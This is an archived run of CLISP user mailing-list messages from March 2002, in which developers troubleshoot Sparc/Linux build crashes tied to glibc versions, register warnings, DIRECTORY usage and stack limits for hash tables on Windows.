clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 10:19:07 2002 X-Original-Date: 21 Mar 2002 13:18:36 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> please do `cvs up` and recomfigure from scratch. Do that. configure finished without complaint. Hurray!!!!!!! >> checking for pcc non-reentrant struct return convention... (cached) yes >> which is the desired answer, I guess. Sam> probably not :-) Yep. It's building as I type. I'll let you know in a bit how it goes. Ray From will@misconception.org.uk Thu Mar 21 10:27:11 2002 Received: from imailg3.svr.pol.co.uk ([195.92.195.181]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o7HK-0006Nl-00 for ; Thu, 21 Mar 2002 10:27:10 -0800 Received: from modem-1082.duckdive.dialup.pol.co.uk ([62.25.173.58] helo=there) by imailg3.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16o7HE-0004XB-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 18:27:05 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall on sparc X-Mailer: KMail [version 1.3.2] References: <4nzo11u8dm.fsf@rtp.ericsson.se> In-Reply-To: <4nzo11u8dm.fsf@rtp.ericsson.se> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 10:28:02 2002 X-Original-Date: Thu, 21 Mar 2002 17:57:46 +0000 On Thursday 21 Mar 2002 5:40 pm, Raymond Toy wrote: > Sorry, not for me. I had to hand-apply the patch. I assume it was > for ffcall/autoconf/aclocal.m4. The result is: It was for src/autoconf/aclocal.m4. Doing make -f Makefile.devel configures seems to propogate this change. > checking for pcc non-reentrant struct return convention... (cached) yes Try removing config.cache. > which is the desired answer, I guess. I don't think it is. I don't even know what pcc non-reentrant struct return convention is, but I'm pretty sure neither Solaris or Sparc-Linux do it. From will@misconception.org.uk Thu Mar 21 11:55:52 2002 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=mail2.vasoftware.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16o8f9-00030u-00 for ; Thu, 21 Mar 2002 11:55:51 -0800 Received: from cmailg6.svr.pol.co.uk ([195.92.195.176]) by mail2.vasoftware.com with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o8eO-0007fW-00 for ; Thu, 21 Mar 2002 11:55:04 -0800 Received: from modem-313.articuno.dialup.pol.co.uk ([217.135.27.57] helo=there) by cmailg6.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16o8ci-00081e-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 19:53:21 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Build problems on Sparc/Linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 11:56:09 2002 X-Original-Date: Thu, 21 Mar 2002 19:54:28 +0000 Has any progress been made on the long standing build problems on Sparc/Linux? m68k/Linux also seems to suffer from a similar problem. I suspected a struct alignment issue but there doesn't seem to be any involved. Anyway, if anyone has any hints, please let me know, it looks like a tricky one. Thanks, From toy@rtp.ericsson.se Thu Mar 21 12:18:17 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o90l-0008Ih-00 for ; Thu, 21 Mar 2002 12:18:16 -0800 Received: from mr7.exu.ericsson.se (mr7u3.ericy.com [208.237.135.122]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g2LKI8l11321 for ; Thu, 21 Mar 2002 14:18:08 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g2LKI7V01764 for ; Thu, 21 Mar 2002 14:18:07 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Thu Mar 21 14:18:06 2002 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id PAA17459; Thu, 21 Mar 2002 15:20:34 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g2LKI5x16865; Thu, 21 Mar 2002 15:18:05 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall on sparc References: <4nzo11u8dm.fsf@rtp.ericsson.se> <4nvgbpu6mb.fsf@rtp.ericsson.se> From: Raymond Toy In-Reply-To: <4nvgbpu6mb.fsf@rtp.ericsson.se> Message-ID: <4nelidu136.fsf@rtp.ericsson.se> Lines: 18 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (beets) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 12:28:57 2002 X-Original-Date: 21 Mar 2002 15:18:05 -0500 >>>>> "Raymond" == Raymond Toy writes: >>>>> "Sam" == Sam Steingold writes: Sam> please do `cvs up` and recomfigure from scratch. Raymond> Do that. configure finished without complaint. Hurray!!!!!!! >>> checking for pcc non-reentrant struct return convention... (cached) yes >>> which is the desired answer, I guess. Sam> probably not :-) Raymond> Yep. Raymond> It's building as I type. I'll let you know in a bit how it goes. make check passes. Hurray!!!!! Ray From samuel.steingold@verizon.net Thu Mar 21 13:54:31 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oAVy-0002GL-00 for ; Thu, 21 Mar 2002 13:54:30 -0800 Received: from gnu.org ([151.203.226.21]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020321215430.HRDG16260.out002.verizon.net@gnu.org>; Thu, 21 Mar 2002 15:54:30 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 13:55:19 2002 X-Original-Date: 21 Mar 2002 16:54:31 -0500 > * In message > * On the subject of "[clisp-list] Build problems on Sparc/Linux" > * Sent on Thu, 21 Mar 2002 19:54:28 +0000 > * Honorable Will Newton writes: > > Has any progress been made on the long standing build problems on > Sparc/Linux? m68k/Linux also seems to suffer from a similar problem. I > suspected a struct alignment issue but there doesn't seem to be any > involved. > > Anyway, if anyone has any hints, please let me know, it looks like a > tricky one. all our "cumulative knowledge" is here: http://sourceforge.net/tracker/index.php?func=detail&aid=223193&group_id=1355&atid=101355 it boils down to the fact that CLISP works with glibc2.0 but not with glibc2.2. It would be nice if you could do something... -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! OK, so you're a Ph.D. Just don't touch anything. From will@misconception.org.uk Thu Mar 21 17:22:19 2002 Received: from imailg3.svr.pol.co.uk ([195.92.195.181]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oDl4-0002pz-00 for ; Thu, 21 Mar 2002 17:22:18 -0800 Received: from modem-208.aerodactyl.dialup.pol.co.uk ([217.135.6.208] helo=there) by imailg3.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16oDl1-00014V-00 for clisp-list@lists.sourceforge.net; Fri, 22 Mar 2002 01:22:16 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 17:23:04 2002 X-Original-Date: Fri, 22 Mar 2002 01:23:30 +0000 On Thursday 21 Mar 2002 9:54 pm, Sam Steingold wrote: > all our "cumulative knowledge" is here: > http://sourceforge.net/tracker/index.php?func=detail&aid=223193&group_id=13 >55&atid=101355 It seems the crash occurs during a type cast, which makes me think there may be some alignment issue at work. > it boils down to the fact that CLISP works with glibc2.0 but not with > glibc2.2. Hmm, the spvw_garcol.d file where the crash occurs does not include any glibc header. > It would be nice if you could do something... I will have a look at it certainly, but all the comments are in german, of which I have quite a poor grasp. From samuel.steingold@verizon.net Thu Mar 21 18:09:57 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oEV9-0002u5-00 for ; Thu, 21 Mar 2002 18:09:55 -0800 Received: from gnu.org ([151.203.226.21]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020322020953.NUKK2521.out018.verizon.net@gnu.org>; Thu, 21 Mar 2002 20:09:53 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 18:10:07 2002 X-Original-Date: 21 Mar 2002 21:09:56 -0500 > * In message > * On the subject of "Re: [clisp-list] Build problems on Sparc/Linux" > * Sent on Fri, 22 Mar 2002 01:23:30 +0000 > * Honorable Will Newton writes: > > On Thursday 21 Mar 2002 9:54 pm, Sam Steingold wrote: > > > all our "cumulative knowledge" is here: > > http://sourceforge.net/tracker/index.php?func=detail&aid=223193&group_id=13 > >55&atid=101355 > > It seems the crash occurs during a type cast, which makes me think > there may be some alignment issue at work. well, this is a new theory - it might work :-) What _I_ would do is make sure that things like TheRecord &c work correctly (see lispbibl.d - the comments are in English, thanks to Stefan Kain and Oliver Nee). You would have to figure out what type_pointable() _is_ on your platform, then what it _should_ be, and, finally, make sure these are the same. > > it boils down to the fact that CLISP works with glibc2.0 but not with > > glibc2.2. > > Hmm, the spvw_garcol.d file where the crash occurs does not include > any glibc header. it does include lispbibl.d, which, in turn, includes all sorts of stuff. the fact remains - the CLISP works just fine with glibc2.0 (any CLISP version of the last 3 years) but fails with glibc2.2 (again, any CLISP version) > > It would be nice if you could do something... > > I will have a look at it certainly, but all the comments are in > german, of which I have quite a poor grasp. Stefan, could you please kindly expedite translating the spvw*.d files? Thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Just because you're paranoid doesn't mean they AREN'T after you. From tsabin@optonline.net Thu Mar 21 20:16:02 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oGTB-0008UQ-00 for ; Thu, 21 Mar 2002 20:16:01 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id XAA20592; Thu, 21 Mar 2002 23:15:54 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux References: From: Todd Sabin In-Reply-To: (Will Newton's message of "Thu, 21 Mar 2002 19:54:28 +0000") Message-ID: Lines: 24 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 20:17:01 2002 X-Original-Date: 21 Mar 2002 23:15:54 -0500 Will Newton writes: > Has any progress been made on the long standing build problems on > Sparc/Linux? m68k/Linux also seems to suffer from a similar problem. I > suspected a struct alignment issue but there doesn't seem to be any involved. > > Anyway, if anyone has any hints, please let me know, it looks like a tricky > one. Are the warnings below (from the bug report) known to be harmless? (assuming they're still present) >>make >...lots of messages, among which are: >lispbibl.d:6864: warning: register used for two global register variables >lispbibl.d:6736: warning: volatile register variables don't work as you might wish >lispbibl.d:758: warning: call-clobbered register used for global register variable The last one sounds a little troubling. Maybe the STACK register is just getting clobbered?? (I thought alignment problems caused SIGBUS, not SIGSEGV.) Todd From amoroso@mclink.it Fri Mar 22 02:02:29 2002 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oLsQ-00034h-00 for ; Fri, 22 Mar 2002 02:02:27 -0800 Received: from net145-092.mclink.it (net145-092.mclink.it [195.110.145.92]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id g2MA2Jg03125 for ; Fri, 22 Mar 2002 11:02:20 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: AW: [clisp-list] Enumerating directories and files Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 22 02:03:04 2002 X-Original-Date: Fri, 22 Mar 2002 11:02:20 +0100 On Thu, 21 Mar 2002 11:23:50 +0100, Jorg Hohle wrote: > (directory "*" :full t) > and > (directory "*/") > You need two calls to get both files and directories with CLISP. It looks like I missed the DIRECTORY information in the CLISP impnotes... > DIRECTORY is Common Lisp standard Yes, but I also missed an important detail in the CLHS entry for DIRECTORY: Function DIRECTORY Syntax: directory pathspec &key => pathnames Arguments and Values: pathspec---a pathname designator, which may contain wild components. ^^^^ Thanks, Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From will@misconception.org.uk Fri Mar 22 06:34:34 2002 Received: from cmailg7.svr.pol.co.uk ([195.92.195.177]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oQ7l-00080W-00 for ; Fri, 22 Mar 2002 06:34:33 -0800 Received: from modem-28.duckdive.dialup.pol.co.uk ([62.25.152.28] helo=there) by cmailg7.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16oQ7j-0004Tl-00 for clisp-list@lists.sourceforge.net; Fri, 22 Mar 2002 14:34:31 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 22 06:35:10 2002 X-Original-Date: Fri, 22 Mar 2002 03:13:37 +0000 On Friday 22 Mar 2002 2:09 am, Sam Steingold wrote: > well, this is a new theory - it might work :-) Probably better than anything I have right now - the addresses seem to be aligned (misalignment is the most common cause of SIGBUS on sparc) but out of range - i.e. mapped well above the process address space. The only thing I can think of that would directly affect this situation in glibc is malloc, so I think I may spend tomorrow looking at changelogs. From will@misconception.org.uk Fri Mar 22 06:42:26 2002 Received: from cmailg7.svr.pol.co.uk ([195.92.195.177]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oQFN-0001Fb-00 for ; Fri, 22 Mar 2002 06:42:25 -0800 Received: from modem-28.duckdive.dialup.pol.co.uk ([62.25.152.28] helo=there) by cmailg7.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16oQFL-0005eX-00 for clisp-list@lists.sourceforge.net; Fri, 22 Mar 2002 14:42:23 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 22 06:43:02 2002 X-Original-Date: Fri, 22 Mar 2002 14:43:35 +0000 On Friday 22 Mar 2002 4:15 am, Todd Sabin wrote: > Are the warnings below (from the bug report) known to be harmless? > (assuming they're still present) Not as far as I am aware. I also get some warnings on x86, I'll compare the two. But again this seems unlikely to be affected by glibc... > The last one sounds a little troubling. Maybe the STACK register is > just getting clobbered?? (I thought alignment problems caused SIGBUS, > not SIGSEGV.) Hmm, I'll have a look. SIGBUS is caused by access outside the address range, SIGSEGV is caused by access to unallocated memory. From dwalker@iximd.com Fri Mar 22 06:49:56 2002 Received: from www.cropworks.com ([12.24.65.5] helo=webserver.cropworks.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oQMb-0002jg-00 for ; Fri, 22 Mar 2002 06:49:53 -0800 Received: from damond ([192.168.10.96]) by webserver.cropworks.com (Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) with SMTP id 85256B84.00515762; Fri, 22 Mar 2002 09:48:27 -0500 From: "Damond Walker" To: Subject: RE: [clisp-list] Build problems on Sparc/Linux Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 22 06:50:13 2002 X-Original-Date: Fri, 22 Mar 2002 09:50:42 -0800 > -----Original Message----- > From: clisp-list-admin@lists.sourceforge.net > Subject: Re: [clisp-list] Build problems on Sparc/Linux > > > On Friday 22 Mar 2002 4:15 am, Todd Sabin wrote: > > > Are the warnings below (from the bug report) known to be harmless? > > (assuming they're still present) > > Not as far as I am aware. I also get some warnings on x86, I'll > compare the > two. But again this seems unlikely to be affected by glibc... > > > The last one sounds a little troubling. Maybe the STACK register is > > just getting clobbered?? (I thought alignment problems caused SIGBUS, > > not SIGSEGV.) > > Hmm, I'll have a look. SIGBUS is caused by access outside the > address range, > SIGSEGV is caused by access to unallocated memory. > As an aside I managed to get lisp.run to compile and run on my Ultra-10 (Suse/Linux 7.3) but when clisp started to build the packages it died (sigsegv) on the 3rd lisp file it was compiling. I set safety to 3 and used -O0. I tracked down the error to a specific line in one of the .d files. I also tried various gcc sparc specific flags to see if that would fix things -- to no avail. I posted a message a few days ago but I don't remember seeing a response to the original post. Damond From dan.stanger@ieee.org Fri Mar 22 12:35:00 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oVkY-0004mp-00 for ; Fri, 22 Mar 2002 12:34:58 -0800 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g2MKYp329509 for clisp-list@lists.sourceforge.net; Fri, 22 Mar 2002 13:34:51 -0700 (MST) From: dan.stanger@ieee.org Message-Id: <200203222034.g2MKYp329509@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] question about change-class Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 22 12:41:13 2002 X-Original-Date: Fri, 22 Mar 2002 13:34:51 -0700 (MST) I am porting some code that requires change-class. Since I dont have many classes to change, but the classes in a tree, I was thinking of copying the code from the clos implementation in the Art of the Metaobject Protocol, and implementing UPDATE-INSTANCE-FOR-REDEFINED-CLASS for the classes that I have. Could anyone comment on the feasibility of this? Thanks Dan Stanger From samuel.steingold@verizon.net Fri Mar 22 14:40:38 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oXhp-0007mi-00 for ; Fri, 22 Mar 2002 14:40:17 -0800 Received: from gnu.org ([151.203.226.21]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020322224016.DNVM11449.out012.verizon.net@gnu.org>; Fri, 22 Mar 2002 16:40:16 -0600 To: Todd Sabin Cc: Will Newton , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 22 14:41:02 2002 X-Original-Date: 22 Mar 2002 17:40:22 -0500 > * In message > * On the subject of "Re: [clisp-list] Build problems on Sparc/Linux" > * Sent on 21 Mar 2002 23:15:54 -0500 > * Honorable Todd Sabin writes: > > >>make > >...lots of messages, among which are: > >lispbibl.d:6864: warning: register used for two global register variables > >lispbibl.d:6736: warning: volatile register variables don't work as you might wish I've seen these two many times, they do not appear to cause trouble. > >lispbibl.d:758: warning: call-clobbered register used for global register variable haven't seen this - looks real scary. what I would do is gcc -E lispbibl.d with glibc2.0 and glibc2.2 and compare the results. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I haven't lost my mind -- it's backed up on tape somewhere. From ampy@ich.dvo.ru Sat Mar 23 01:34:20 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ohuj-0006sc-00 for ; Sat, 23 Mar 2002 01:34:17 -0800 Received: from 212.16.216.87 ([212.16.216.87]) by vtc.ru (8.12.2/8.12.2) with ESMTP id g2N9XqWG015898; Sat, 23 Mar 2002 19:33:57 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1805917388.20020323193446@ich.dvo.ru> To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Building CLISP for Windows In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 23 01:35:02 2002 X-Original-Date: Sat, 23 Mar 2002 19:34:46 +1000 Hi, Friday, March 08, 2002, 8:06:10 PM, you wrote: Joerg-Cyril> o (queens 21.0s0) still crashes. I investigated the stack handling in win32. It seems that all works ok, so hash table handling code just eats too much program stack. Thus, it is not a crash, but a nice stack overflow handling. To increase maximal hashtable size you may relink lisp with other stack size instead of current 3145728 (it's set in Makefile by editbin utility when building in MSVC). This memory doesn't being allocated at once but only when it's needed through exception mechanism, so I find it safe to change 3M value to, say, 16M (16777216). Maybe we should ask Sam to change Makefile.in ? I'm not a unix expert and cannot say what stack size available on FreeBSD version. But the following function (defun a(x) (print x) (+ x (a (+ x 1)))) being called as (a 1) counts until 3287 in win NT and approx. until 15000 in FreeBSD. I wonder whether it's because of another aligment or because of greater stack limit. It's interesting, what will print linux version of clisp. Question to honorable Sam: You recently maked weak-hash-tables, may be you know, why hash tables are so program-stack hungry ? Max. HT size seems roughly proportional to program stack size, i.e. for 1.5M stack max HT is 55000, for 3M stack max HT size is 123000. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From samuel.steingold@verizon.net Sat Mar 23 09:43:25 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16opXz-00013i-00 for ; Sat, 23 Mar 2002 09:43:19 -0800 Received: from gnu.org ([151.203.226.21]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020323174316.HXCQ5495.out020.verizon.net@gnu.org>; Sat, 23 Mar 2002 11:43:16 -0600 To: Arseny Slobodjuck Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP stack & hash tables References: <1805917388.20020323193446@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1805917388.20020323193446@ich.dvo.ru> Message-ID: Lines: 53 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 23 09:44:03 2002 X-Original-Date: 23 Mar 2002 12:43:24 -0500 > * In message <1805917388.20020323193446@ich.dvo.ru> > * On the subject of "Re: [clisp-list] Re: Building CLISP for Windows" > * Sent on Sat, 23 Mar 2002 19:34:46 +1000 > * Honorable Arseny Slobodjuck writes: > > Joerg-Cyril> 